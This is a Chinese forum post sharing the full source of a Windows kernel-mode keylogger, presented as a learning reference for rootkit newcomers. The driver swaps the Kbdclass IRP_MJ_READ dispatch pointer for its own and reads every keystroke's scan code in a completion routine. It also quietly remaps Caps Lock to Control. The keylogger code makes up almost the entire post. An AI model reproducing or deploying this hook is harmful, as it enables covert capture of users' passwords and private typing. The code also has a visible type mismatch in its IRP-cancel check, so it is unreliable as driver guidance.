前天拜读combojiang 的rootkit hook 系列之[五] IRP Hook全家福(原帖:http://bbs.pediy.com/showthread.php?t=60022)之后,决定用文中的第三种方法实现一个KeyLogger。但是combojiang前辈并没有放上Demo,而且我在网上貌似也没找着完整的IRP Hook 键盘Logger实例,于是就写了一个,权当是为学习rootkit 的新人提供一份完整的参考代码(当然,我也是驱动新人),大牛请无视。
承achillis 前辈指教,我修改了卸载函数,卸载时把处于Pending状态的那个IRP取消掉,这样不需要再等待一个按键。
本例只替换原键盘驱动中的IRP_MJ_READ分发函数,并在回调函数中简单打印出键盘码。
主要代码如下:
代码:
#include <wdm.h> #include <ntddkbd.h> #include "IRPKlog.h" //要获取的设备驱动名 #define KBD_DRIVER_NAME L"\\Driver\\Kbdclass" //保存原有分发函数指针 PDRIVER_DISPATCH OldDispatchRead; //保存键盘驱动设备对象 PDRIVER_OBJECT KbdDriverObject; //未完成的IRP数目,不跟踪的话卸载驱动时会死得很难看 int numPendingIrps = 0; extern POBJECT_TYPE IoDriverObjectType; //保存当前pending的IRP 用于卸载时取消 PIRP PendingIrp = NULL; BOOLEAN CancelKeyboardIrp(IN PIRP Irp) { if (Irp == NULL) { DbgPrint( "CancelKeyboardIrp: Irp error\n" ); return FALSE; } // // 这里有些判断不是必须的,不过还是小心点好 // if ( Irp->Cancel || Irp->CancelRoutine == NULL ) { DbgPrint( "Can't Cancel the irp\n" ); return FALSE; } if ( FALSE == IoCancelIrp( Irp ) ) { DbgPrint( "IoCancelIrp() to failed\n" ); return FALSE; } // // 取消后重设此例程为空 // IoSetCancelRoutine( Irp, NULL ); return TRUE; } //驱动卸载函数 VOID Unload( IN PDRIVER_OBJECT pDriverObject) { PDEVICE_OBJECT pDeviceObj; LARGE_INTEGER lDelay; PRKTHREAD CurrentThread; //delay some time lDelay = RtlConvertLongToLargeInteger(100 * DELAY_ONE_MILLISECOND); CurrentThread = KeGetCurrentThread(); // 把当前线程设置为低实时模式,以便让它的运行尽量少影响其他程序。 KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY); //还原IRP hook InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],OldDispatchRead); // 如果还有IRP 未完成且当前IRP有效则尝试取消这个 IRP pDeviceObj = pDriverObject->DeviceObject; if (numPendingIrps > 0 && PendingIrp != NULL) { if (CancelKeyboardIrp(PendingIrp) == STATUS_CANCELLED) { DbgPrint( "成功取消IRP\n" ); goto __End; } } DbgPrint("There are %d tagged IRPs\n",numPendingIrps); //DbgPrint("等待最后一个按键...\n"); while (numPendingIrps) { KeDelayExecutionThread(KernelMode, FALSE, &lDelay); } __End: DbgPrint("删除设备……\n"); IoDeleteDevice(pDeviceObj); DbgPrint("Driver Unload OK!\n"); return; } //MJ_READ 的回调函数 NTSTATUS OnReadCompletion( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context ) { ULONG buf_len = 0; PUCHAR buf = NULL; size_t i,numKeys; PKEYBOARD_INPUT_DATA KeyData; PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(Irp); // 如果这个请求是成功的。很显然,如果请求失败了,这么获取 // 进一步的信息是没意义的 if( NT_SUCCESS( Irp->IoStatus.Status ) ) { // 获得读请求完成后输出的缓冲区 buf = Irp->AssociatedIrp.SystemBuffer; KeyData = (PKEYBOARD_INPUT_DATA)buf; // 获得这个缓冲区的长度。一般的说返回值有多长都保存在 // Information中。 buf_len = Irp->IoStatus.Information; numKeys = buf_len / sizeof(KEYBOARD_INPUT_DATA); //简单打印扫描码 for(i=0;i<numKeys;++i) { //DbgPrint("ctrl2cap: %2x\r\n", buf[i]); DbgPrint("\n"); DbgPrint("numKeys : %d",numKeys); DbgPrint("ScanCode: %x ", KeyData->MakeCode ); DbgPrint("%s\n", KeyData->Flags ?"Up" : "Down" ); print_keystroke((UCHAR)KeyData->MakeCode); if( KeyData->MakeCode == CAPS_LOCK) { KeyData->MakeCode = LCONTROL; } } } DbgPrint("Entering OnReadCompletion Routine...\n"); //完成一个IRP numPendingIrps--; if( Irp->PendingReturned ) { IoMarkIrpPending( Irp ); } //调用原来的完成函数,如果有的话 if ((Irp->StackCount > (ULONG)1) && (Context != NULL)) { return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject, Irp, NULL); } else { return Irp->IoStatus.Status; } } //新的分发函数 NTSTATUS NewDispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp) { //DbgPrint("Entering NewDispatchRead Routine...\n"); //设置完成函数 PIO_STACK_LOCATION irpSp; irpSp = IoGetCurrentIrpStackLocation(pIrp); irpSp->Control = SL_INVOKE_ON_SUCCESS| SL_INVOKE_ON_ERROR| SL_INVOKE_ON_CANCEL; //irpSp->Control = SL_INVOKE_ON_SUCCESS; //保留原来的完成函数,如果有的话 irpSp->Context = irpSp->CompletionRoutine; irpSp->CompletionRoutine = (PIO_COMPLETION_ROUTINE)OnReadCompletion; DbgPrint("已设置回调函数...\n"); //递增未完成的IRP数目 numPendingIrps++; if (numPendingIrps > 0) { PendingIrp = pIrp; } return OldDispatchRead(pDeviceObject,pIrp); } NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING RegistryPath) { NTSTATUS status = 0; UNICODE_STRING KbdNameString; PDEVICE_OBJECT pDeviceObject; DbgPrint("IRP Hook Keyboard Logger --DriverEntry\n"); // 初始化Kdbclass驱动的名字 RtlInitUnicodeString(&KbdNameString, KBD_DRIVER_NAME); //就这个程序而言,不需要创建设备及链接 status = IoCreateDevice( pDriverObject, 0, //暂时设为0 NULL, //不用名字先 FILE_DEVICE_UNKNOWN, 0, TRUE, //设为TRUE表示驱动独占,多数为FALSE &pDeviceObject ); if (!NT_SUCCESS(status)) { DbgPrint("Create device error!\n"); return status; } //设置驱动卸载函数 pDriverObject->DriverUnload = Unload; //获取驱动设备对象 status = ObReferenceObjectByName( &KbdNameString, OBJ_CASE_INSENSITIVE, NULL, 0, IoDriverObjectType, KernelMode, NULL, &KbdDriverObject //保存得到的设备对象 ); if (!NT_SUCCESS(status)) { //如果失败 DbgPrint("Couldn't get the kbd driver object\n"); return STATUS_UNSUCCESSFUL; } else { //解除引用 ObDereferenceObject(KbdDriverObject); } OldDispatchRead = KbdDriverObject->MajorFunction[IRP_MJ_READ]; //原子交换操作 InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],NewDispatchRead); return status; }